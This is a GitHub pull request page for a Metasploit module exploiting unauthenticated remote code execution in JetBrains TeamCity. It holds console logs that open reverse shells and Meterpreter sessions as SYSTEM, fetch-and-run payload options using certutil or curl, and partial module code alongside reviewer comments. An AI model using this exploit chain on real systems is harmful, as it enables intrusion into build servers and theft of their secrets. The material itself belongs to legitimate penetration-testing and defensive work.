Add unauth RCE exploit module for JetBrains TeamCity (CVE-2026-63077) by sfewer-r7 · Pull Request #21775 · rapid7/metasploit-framework

sfewer-r7 · 2026-08-11T19:10:13Z

Overview

This ~~(draft)~~ pull request add an unauth RCE exploit for the recent JetBrains TeamCity vulnerability, CVE-2026-63077.

For a full technical analysis of CVE-2026-63077, read our Rapid7 Analysis.

TO-DO

Test against Linux.
Registering an agent leaves an unauthorized agent on the server. I think I have a solution to unregister and remove the agent via a small sequence of Java code we can place in the JSP as part of build_java_payload_jsp.
Documentation.

Example 1 - JSP payload on Windows

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options 

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks
                                         4, socks5, socks5h
   RHOSTS     192.168.86.171   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
                                         tml
   RPORT      8111             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to TeamCity
   VHOST                       no        HTTP server virtual host


Payload options (java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.86.122   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL                   no        The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Java Server Page



View the full module info with the info, or info -d command.

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
[*] Registering a TeamCity build agent
[*] Sending the XStream deserialization payload
[*] Requesting the JSPWS payload at /mkGCBzccnnf.jspws
[+] The JSPWS payload was executed successfully
[*] Command shell session 2 opened (192.168.86.122:4444 -> 192.168.86.171:49737) at 2026-08-11 19:58:19 +0100


Shell Banner:
Microsoft Windows [Version 10.0.26100.32522]
(c) Microsoft Corporation. All rights reserved.
-----
          

c:\TeamCity\bin>whoami
whoami
nt authority\system

c:\TeamCity\bin>

Example 2 - Command payload on Windows

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options 

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks
                                         4, socks5, socks5h
   RHOSTS     192.168.86.171   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
                                         tml
   RPORT      8111             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to TeamCity
   VHOST                       no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                           no        Comma-separate list of extensions to load
   EXTINIT                              no        Initialization strings for extensions
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      yWXThZaCLZvA     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.86.122   yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


   When FETCH_COMMAND is one of CURL:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


Exploit target:

   Id  Name
   --  ----
   1   Windows Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
[*] Registering a TeamCity build agent
[*] Sending the XStream deserialization payload
[*] Requesting the JSPWS payload at /eltE.jspws
[+] The JSPWS payload was executed successfully
[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.171:49734) at 2026-08-11 19:57:33 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-B0I6KV698LS
OS              : Windows Server 2025+ (10.0 Build 26100).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > pwd
C:\TeamCity\bin
meterpreter >

…ized agent in teh servers agent pool

…od for each target, so switching targets automaticaly chooses a correct payload for the target platform (unless uses explicitly set payload)

bwatters-r7 · 2026-08-20T14:12:04Z

+  end
+
+  def check
+    # login.html is available without authentication and exposes both the product headers and version string we need.


I think this matches

metasploit-framework/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2023_42793.rb

Line 71 in 73737ce

def check

Since this is only used twice I think, it is no big deal, but if we are going to have more teamcity exploits, it might be a good idea to have a mixin.

bwatters-r7 · 2026-08-20T14:17:36Z

+      xml.agentDetails(
+        'agentName' => identifiers[:agent_name],
+        'agentAddress' => '127.0.0.1',
+        'agentPort' => rand(1024..65_535).to_s,


If this is actually bound, maybe bump up above 10,000 to avoid collisions in the 1024-6000 space? Minimal likelihood, but still possible given Windows' love of port range in the 5000's.

bwatters-r7 · 2026-08-20T14:19:31Z

+    end.to_xml
+
+    # The caller needs the XML to trigger deserialization and the URI/token pair to trigger and confirm code execution.
+    [payload_xml, jsp_uri, response_token]


Could we return a hash here rather than an array?

Copilot

Pull request overview

Adds a new Metasploit exploit module (and accompanying documentation) for unauthenticated RCE in JetBrains TeamCity via CVE-2026-63077, leveraging the agent polling protocol’s unsafe XStream deserialization to drop and execute a one-shot JSPWS payload.

Changes:

Introduces exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077 with AutoCheck-enabled vulnerability detection and exploit flow (agent registration → deserialization trigger → JSPWS execution/cleanup).
Implements multiple targets (JSP payload + Windows/Linux command payloads) and a configurable webroot-relative write path.
Adds module documentation with setup guidance and recorded exploitation scenarios for Windows and Linux.

Impact Analysis:

Blast radius: low; new module + new documentation only (no shared library/framework logic changed).
Data and contract effects: none identified from diff (no schema/config/API changes).
Rollback and test focus: removing the new module/doc files should fully roll back; focus validation on module loading, check, and each target’s end-to-end exploit path.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 4 comments.

File	Description
modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2026_63077.rb	New exploit module implementing CVE-2026-63077 check + exploit chain and payload delivery/cleanup.
documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077.md	New operator documentation with testing notes, options, and scenarios.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

+              'Arch' => ARCH_JAVA,
+              'Platform' => ['win', 'unix', 'linux'],
+              'DefaultOptions' => {
+                'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
+              }


+  prepend Msf::Exploit::Remote::AutoCheck
+  include Msf::Exploit::Remote::HttpClient


@@ -0,0 +1,293 @@
+## Vulnerable Application


+[Download](https://www.jetbrains.com/teamcity/download/) and
+[install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of
+TeamCity for either Windows or Linux, e.g. version 2026.1.2. By default, the server will listen for HTTP
+connections on port 8111 (Older version of the product listen on port 80 by default).


add initial exploit for CVE-2026-63077

54e422e

github-project-automation Bot added this to Metasploit Kanban Aug 11, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Aug 11, 2026

sfewer-r7 changed the title ~~add initial exploit for CVE-2026-63077~~ Add unauth RCE exploit module for JetBrains TeamCity (CVE-2026-63077) Aug 11, 2026

sfewer-r7 added 4 commits August 13, 2026 17:26

add in functionality to cleanup an agent so we dont leave an unauthor…

13e6390

…ized agent in teh servers agent pool

add in ' to BadChars so Linux payloads now work. Add in default payla…

5bf0182

…od for each target, so switching targets automaticaly chooses a correct payload for the target platform (unless uses explicitly set payload)

add in doc

9bf4118

edit some comments

ad6c27d

sfewer-r7 marked this pull request as ready for review August 14, 2026 10:17

bwatters-r7 added the group-review PRs flagged to get a group review during our weekly module hacking meeting. label Aug 18, 2026

bwatters-r7 reviewed Aug 20, 2026

View reviewed changes

bwatters-r7 requested a lite review from Copilot August 20, 2026 14:21

bwatters-r7 added group-reviewed Reviewed by the council of elders and removed group-review PRs flagged to get a group review during our weekly module hacking meeting. labels Aug 20, 2026

Copilot AI reviewed Aug 20, 2026

View reviewed changes

bwatters-r7 added the ETR Modules from the ETR Team label Aug 20, 2026

Copilot started reviewing on behalf of bwatters-r7 August 20, 2026 16:28 View session

Navigation Menu

Uh oh!

Add unauth RCE exploit module for JetBrains TeamCity (CVE-2026-63077) - #21775

Add unauth RCE exploit module for JetBrains TeamCity (CVE-2026-63077)#21775
sfewer-r7 wants to merge 5 commits into
rapid7:masterfrom
sfewer-r7:CVE-2026-63077

sfewer-r7 commented Aug 11, 2026 •

edited

Loading

Uh oh!

bwatters-r7 Aug 20, 2026

Uh oh!

bwatters-r7 Aug 20, 2026

Uh oh!

bwatters-r7 Aug 20, 2026

Uh oh!

Copilot AI left a comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

		prepend Msf::Exploit::Remote::AutoCheck
		include Msf::Exploit::Remote::HttpClient

Uh oh!

Conversation

sfewer-r7 commented Aug 11, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Overview

TO-DO

Example 1 - JSP payload on Windows

Example 2 - Command payload on Windows

Uh oh!

bwatters-r7 Aug 20, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 Aug 20, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 Aug 20, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

sfewer-r7 commented Aug 11, 2026 •

edited

Loading